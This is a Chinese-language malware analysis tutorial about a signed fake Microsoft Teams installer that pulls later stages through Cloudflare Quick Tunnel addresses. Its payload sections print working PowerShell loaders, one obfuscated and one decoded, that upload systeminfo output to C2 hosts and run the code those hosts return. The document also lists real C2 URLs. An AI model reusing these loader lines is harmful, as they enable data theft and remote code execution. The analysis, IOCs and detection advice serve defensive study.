一款用国内签名+Cloudflare隧道的可疑样本分析
字数 2613 2025-12-06 12:10:41

恶意样本分析教学:国内签名与Cloudflare隧道结合的攻击手法

一、样本概述

1.1 样本基本信息

样本名称:MSTeamsSetup.exe
文件大小:56336字节
文件版本:1.3.0.2
哈希值

  • MD5:6D22E2A3AFA9981F2E9E6A62EE43A6D1
  • SHA1:319AC60135CE00D4C30B9EA3515D2833C560DD8D
  • SHA256:6b1251fb7b4f9458922c94f0abd0584fd891860ec12fee5da428b7b6dc1136f0

1.2 核心特征

  • 携带国内合法数字签名
  • 使用Cloudflare Quick Tunnels(trycloudflare.com)进行外联通信
  • 采用多阶段载荷下载机制
  • 具备动态配置能力

二、技术分析详解

2.1 数字签名分析

样本使用了以下两家国内公司的数字签名:

  1. 四川格玛斯农业科技有限公司(Sichuan Agromax Technology Co., Ltd.)
  2. 广州市万斯光电科技有限公司(Guangzhou Vance Photoelectric Technology Co., Ltd.)

教学要点:合法数字签名的滥用是高级攻击的常见手法,可绕过基础安全检测。

2.2 字符串解密技术

样本内置了专门的解密函数,用于解密API函数名、外联地址等关键字符串。

解密函数逻辑

def decrypt_at(addr, length):
    table = [get_byte(0x40B060 + i) for i in range(4)]
    key = length & 0xFF
    data = ''
    for i in range(length):
        key = (key + i + key) & 0xFF
        xor_val = key ^ table[i & 3]
        orig = get_byte(addr + i)
        data = data + chr(orig ^ xor_val)
    return data[2:]

IDA Pro辅助分析脚本

from ida_bytes import *
from idautils import *

def decrypt_at(addr, length):
    table = [get_byte(0x40B060 + i) for i in range(4)]
    key = length & 0xFF
    data = ''
    for i in range(length):
        key = (key + i + key) & 0xFF
        xor_val = key ^ table[i & 3]
        orig = get_byte(addr + i)
        data = data + chr(orig ^ xor_val)
    print(data[2:])

# 解密示例
decrypt_at(0x40A130, 23)

2.3 API获取机制

样本中发现了特殊的API获取函数sub_4018B7,该函数虽然接收三个参数,但实际只返回第三个参数(函数地址)。这种设计可能是为了增加分析难度。

2.4 多线程架构

样本运行后创建两个独立线程:

线程1功能

  1. 从合法地址下载官方MSTeamsSetup.exe程序
  2. 保存至%temp%目录
  3. 根据文件后缀判断执行方式:
    • .msi文件:使用msiexec.exe /i命令
    • 其他文件:使用cmd.exe /c命令
  4. 通过CreateProcessA执行下载的程序

线程2功能

  1. 从Cloudflare隧道地址下载第二阶段载荷
  2. 通过PowerShell执行后续攻击链

2.5 网络通信特征

HTTP请求格式

GET %s HTTP/1.1
Host: %s
User-Agent: PowerShell
Connection: close

使用的Cloudflare隧道地址

  • http://terry-but-graphical-earning.trycloudflare.com/dbc1d62vba13as.html
  • http://recreation-passed-keep-safely.trycloudflare.com/6bp1hPw3KQuiom

三、第二阶段载荷分析

3.1 载荷内容

$GRYyEAWELrD = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("cmVjcmVhdGlvbi1wYXNzZWQta2VlcC1zYWZlbHkudHJ5Y2xvdWRmbGFyZS5jb20vNmJwMWhQdzNLUXVpb20="))
$RPQOLXSkSufTv = $(systeminfo|out-string)
$FiHbxUBycH = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("YXBwbGljYXRpb24vb2N0ZXQtc3RyZWFt"))
$crYFdmjWhWBcYj = irm $GRYyEAWELrD -method POST -b $RPQOLXSkSufTv -content $FiHbxUBycH
Invoke-Expression $crYFdmjWhWBcYj

3.2 功能解析

解码后的实际命令:

Invoke-Expression (irm "recreation-passed-keep-safely.trycloudflare.com/6bp1hPw3KQuiom" -Method POST -Body $(systeminfo | Out-String) -ContentType "application/octet-stream")

执行流程

  1. 执行systeminfo命令收集系统信息
  2. 通过POST请求将系统信息上传至C2服务器
  3. 执行服务器返回的第三阶段载荷

四、关联样本分析

4.1 扩展样本信息

通过关联分析发现多个同家族样本:

样本1

  • 文件名:hisar_so.exe
  • 哈希:10e1f86cdf8ebf1407fda8da1efc8003626ab507c36d89d5f7db772dfd8edc45
  • 外联地址:http://answering-trees-vacuum-envelope.trycloudflare.com/5QgxkqT

样本2

  • 文件名:zohoinstall.exe
  • 哈希:254e367cbd0d77e7423428a8421136100d95800a6cf809f85747da30605e38a0
  • 外联地址:http://population-cups-lang-hearings.trycloudflare.com/second.html

4.2 PowerShell混淆技术分析

zohoinstall.exe样本使用了高级混淆技术:

原始混淆代码

${Write-Error -ArgumentList -DestinationPath %TEMP% && ($gnci)} = "KCgnSU1ye3V1JysnSjMnKydSbH0gPSAoRTlGezEnKyc1JysnfScrJ3sxJysnNn17JysnMTB9ezE3fXszfXsnKycxM317MScrJzF9ezF9eycrJzl9ezJ9JysneycrJzE0JysnfScrJ3s3fScrJ3snKycxMn17NX17NH17OH17NicrJ317MH1FJysnOScrJ0YgLWZVJysnTHZKa2wnKydSY1dVTHYsVScrJ0x2c1VMdixVTHYnKyctJysnc3BVJysnTHYsVUx2ZVVMdiwnKydVTHZvdWRVTHYsVUwnKyd2bFVMdixVTHYuY28nKydtL1EyREdyJysncDRVTHYsJysnVUx2dCcrJ3JVTHYsVScrJ0x2JysnZmxhJysncmVVJysnTHYsVUx2ZScrJ2QnKydVTCcrJ3YsJysnVUx2d2FVTHYsJysnVUx2Jysnb1VMdixVTHZ5Y1VMdixVTHZ4cFVMdixVTHZyaW50JysnLlVMJysndiwnKydVTHYnKydqYXBhJysnblVMdixVTHYtVUx2LCcrJ1VMdnJzJysnLScrJ1VMJysndikKSU1ye0JvdUonKyczRFknKyd9ID0gSU1yKC4oJysnRTlGezJ9ezB9ezF9RTlGJysnIC1mVUx2ZW1pbicrJ1UnKydMdicrJyxVTHYnKydmJysnbycrJ1VMdixVTHZzJysneXN0VUx2KScrJ2dHbCYnKycoRScrJzlGeycrJzF9ezN9ezB9JysnezInKyd9JysnRScrJzlGIC1mVUx2aVVMdicrJyxVTHZvdScrJ3Qtc3RVJysnTHYnKycsVScrJ0x2bmdVTCcrJ3YsVUx2clVMdicrJyknKycpCklNcntDTycrJ051SjMnKydURW51JysnSjNUJysndUozJysnVHlQZX0gPSAoRTlGezF9ezV9eycrJzN9ezInKyd9ezR9ezB9ezZ9RTlGLWYgVUwnKyd2c3RyZVVMdixVJysnTHZhcHAnKydVJysnTHYsJysnVUx2JysndCcrJ2UnKydVTCcrJ3YsJysnVUx2Y1VMdiwnKydVTHZ0LVVMJysndiwnKydVJysnTHZsaScrJ2NhdGlvJysnbi9vVUx2LCcrJ1VMdmFtVUx2KQoKSScrJ01yeycrJ0knKyd1SjNSRVN9JysnID0gJysnJihFOUYnKyd7JysnMn17JysnMH17M317MX17JysnNX0nKyd7NH1FOUYnKycgLWYgJysnVUwnKyd2JysnbicrJ3Zva2UtVUx2LFVMdmVzVUx2JysnLFVMJysndklVTHYsVUx2UlVMdixVTHZ0aG9kVUx2LFVMdnRNZVVMJysndikgSScrJ01ye3V1SjNSTH0gLW0nKydldGhvZCAoRTlGezB9JysnezF9JysnRTlGIC1mICcrJ1VMdlBVTHYsVUx2JysnT1NUJysnVUx2JysnKSAtYiBJTXJ7QnVKMycrJ09kWScrJ30nKycgLScrJ2NvbicrJ3QnKydlJysnbnQgSU1ye0NvdUozJysnTlQnKyd1SicrJzNFJysnTnR1SjMnKydUWVAnKydFfQonKycKJysnLihFOScrJ0Z7M30nKyd7MX17JysnMCcrJ317Mn1FOUYtZlUnKydMJysndnMnKydzaScrJ1UnKydMdiwnKydVJysnTHZFeHByJysnZVVMdixVTHYnKydvblVMdixVTHZJbicrJ3Zva2UtVUx2KSBJTXJ7JysnaVJ1SjNlc30KJysnCicpIC1yRXBMYUNFJ3VKMycsW0NIYVJdOTYgLXJFcExhQ0UgIChbQ0hhUl03MytbQ0hhUl03NytbQ0hhUl0xMTQpLFtDSGFSXTM2ICAtckVwTGFDRShbQ0hhUl02OStbQ0hhUl01NytbQ0hhUl03MCksW0NIYVJdMzQgLUNyRXBsQWNlICdnR2wnLFtDSGFSXTEyNCAgLXJFcExhQ0UnVUx2JyxbQ0hhUl0zOSl8JiggJHBzSG9NRVs0XSskcHNob01FWzM0XSsnWCcpCg=="

去混淆方法

  1. Base64解码获取第二层混淆代码
  2. 变量替换和字符串拼接还原
  3. 最终得到清晰的可执行代码

去混淆后代码

${uRL} = "japan-wars-exposed-sprint.trycloudflare.com/Q2DGrp4JklRcW"
${BoDY} = systeminfo | Out-String
${CONTEnTTyPe} = "application/octet-stream"
${IRES} = Invoke-RestMethod ${uRL} -method POST -b ${BoDY} -content ${CONTEnTTyPe}
Invoke-Expression ${iRes} | &('ieX')

五、攻击手法技术要点

5.1 Cloudflare隧道滥用

  • 服务性质:Cloudflare Quick Tunnels是合法开发工具
  • 攻击利用:提供匿名化的C2通信通道
  • 检测挑战:使用trycloudflare.com域名难以区分善恶

5.2 动态载荷配置

攻击者能够实时更新载荷内容,表现为:

  • 不同时间点捕获的样本使用不同隧道地址
  • 载荷内容可根据需要动态调整
  • 具备快速切换基础设施的能力

5.3 家族归属分析

虽然部分平台标记为Vidar Infostealer,但技术特征对比显示差异:

  • 缺少Vidar特有的信息窃取功能
  • 攻击链设计更为复杂
  • 可能为新的攻击组织或定制化工具

六、检测与防护建议

6.1 检测指标(IOCs)

样本哈希

  • 6b1251fb7b4f9458922c94f0abd0584fd891860ec12fee5da428b7b6dc1136f0
  • 10e1f86cdf8ebf1407fda8da1efc8003626ab507c36d89d5f7db772dfd8edc45
  • 0ff3c8f943b1d27f8b5ecd08c5929fe81ed6a7e5f9df80bc291e704aa68d7fed
  • 254e367cbd0d77e7423428a8421136100d95800a6cf809f85747da30605e38a0

网络指标

  • trycloudflare.com域名的异常访问
  • PowerShell进程的异常网络连接
  • 特定User-Agent(PowerShell)的HTTP请求

6.2 防护措施

  1. 签名验证:不单纯依赖数字签名作为可信依据
  2. 网络监控:监控trycloudflare.com域名的企业访问
  3. 行为检测:关注多阶段PowerShell执行行为
  4. 沙箱分析:对可疑样本进行动态行为分析

七、总结

本案例展示了现代恶意软件的高级特征:合法工具滥用、多阶段载荷、动态配置能力。分析人员需要掌握字符串解密、代码去混淆、网络行为分析等多方面技能,才能有效应对此类威胁。Cloudflare等云服务的滥用将成为未来攻击的常见手法,需要持续关注相关检测技术的发展。

恶意样本分析教学:国内签名与Cloudflare隧道结合的攻击手法 一、样本概述 1.1 样本基本信息 样本名称 :MSTeamsSetup.exe 文件大小 :56336字节 文件版本 :1.3.0.2 哈希值 : MD5:6D22E2A3AFA9981F2E9E6A62EE43A6D1 SHA1:319AC60135CE00D4C30B9EA3515D2833C560DD8D SHA256:6b1251fb7b4f9458922c94f0abd0584fd891860ec12fee5da428b7b6dc1136f0 1.2 核心特征 携带国内合法数字签名 使用Cloudflare Quick Tunnels(trycloudflare.com)进行外联通信 采用多阶段载荷下载机制 具备动态配置能力 二、技术分析详解 2.1 数字签名分析 样本使用了以下两家国内公司的数字签名: 四川格玛斯农业科技有限公司 (Sichuan Agromax Technology Co., Ltd.) 广州市万斯光电科技有限公司 (Guangzhou Vance Photoelectric Technology Co., Ltd.) 教学要点 :合法数字签名的滥用是高级攻击的常见手法,可绕过基础安全检测。 2.2 字符串解密技术 样本内置了专门的解密函数,用于解密API函数名、外联地址等关键字符串。 解密函数逻辑 : IDA Pro辅助分析脚本 : 2.3 API获取机制 样本中发现了特殊的API获取函数 sub_4018B7 ,该函数虽然接收三个参数,但实际只返回第三个参数(函数地址)。这种设计可能是为了增加分析难度。 2.4 多线程架构 样本运行后创建两个独立线程: 线程1功能 : 从合法地址下载官方MSTeamsSetup.exe程序 保存至%temp%目录 根据文件后缀判断执行方式: .msi文件:使用 msiexec.exe /i 命令 其他文件:使用 cmd.exe /c 命令 通过CreateProcessA执行下载的程序 线程2功能 : 从Cloudflare隧道地址下载第二阶段载荷 通过PowerShell执行后续攻击链 2.5 网络通信特征 HTTP请求格式 : 使用的Cloudflare隧道地址 : http://terry-but-graphical-earning.trycloudflare.com/dbc1d62vba13as.html http://recreation-passed-keep-safely.trycloudflare.com/6bp1hPw3KQuiom 三、第二阶段载荷分析 3.1 载荷内容 3.2 功能解析 解码后的实际命令: 执行流程 : 执行systeminfo命令收集系统信息 通过POST请求将系统信息上传至C2服务器 执行服务器返回的第三阶段载荷 四、关联样本分析 4.1 扩展样本信息 通过关联分析发现多个同家族样本: 样本1 : 文件名:hisar_ so.exe 哈希:10e1f86cdf8ebf1407fda8da1efc8003626ab507c36d89d5f7db772dfd8edc45 外联地址:http://answering-trees-vacuum-envelope.trycloudflare.com/5QgxkqT 样本2 : 文件名:zohoinstall.exe 哈希:254e367cbd0d77e7423428a8421136100d95800a6cf809f85747da30605e38a0 外联地址:http://population-cups-lang-hearings.trycloudflare.com/second.html 4.2 PowerShell混淆技术分析 zohoinstall.exe样本使用了高级混淆技术: 原始混淆代码 : 去混淆方法 : Base64解码获取第二层混淆代码 变量替换和字符串拼接还原 最终得到清晰的可执行代码 去混淆后代码 : 五、攻击手法技术要点 5.1 Cloudflare隧道滥用 服务性质 :Cloudflare Quick Tunnels是合法开发工具 攻击利用 :提供匿名化的C2通信通道 检测挑战 :使用trycloudflare.com域名难以区分善恶 5.2 动态载荷配置 攻击者能够实时更新载荷内容,表现为: 不同时间点捕获的样本使用不同隧道地址 载荷内容可根据需要动态调整 具备快速切换基础设施的能力 5.3 家族归属分析 虽然部分平台标记为Vidar Infostealer,但技术特征对比显示差异: 缺少Vidar特有的信息窃取功能 攻击链设计更为复杂 可能为新的攻击组织或定制化工具 六、检测与防护建议 6.1 检测指标(IOCs) 样本哈希 : 6b1251fb7b4f9458922c94f0abd0584fd891860ec12fee5da428b7b6dc1136f0 10e1f86cdf8ebf1407fda8da1efc8003626ab507c36d89d5f7db772dfd8edc45 0ff3c8f943b1d27f8b5ecd08c5929fe81ed6a7e5f9df80bc291e704aa68d7fed 254e367cbd0d77e7423428a8421136100d95800a6cf809f85747da30605e38a0 网络指标 : trycloudflare.com域名的异常访问 PowerShell进程的异常网络连接 特定User-Agent(PowerShell)的HTTP请求 6.2 防护措施 签名验证 :不单纯依赖数字签名作为可信依据 网络监控 :监控trycloudflare.com域名的企业访问 行为检测 :关注多阶段PowerShell执行行为 沙箱分析 :对可疑样本进行动态行为分析 七、总结 本案例展示了现代恶意软件的高级特征:合法工具滥用、多阶段载荷、动态配置能力。分析人员需要掌握字符串解密、代码去混淆、网络行为分析等多方面技能,才能有效应对此类威胁。Cloudflare等云服务的滥用将成为未来攻击的常见手法,需要持续关注相关检测技术的发展。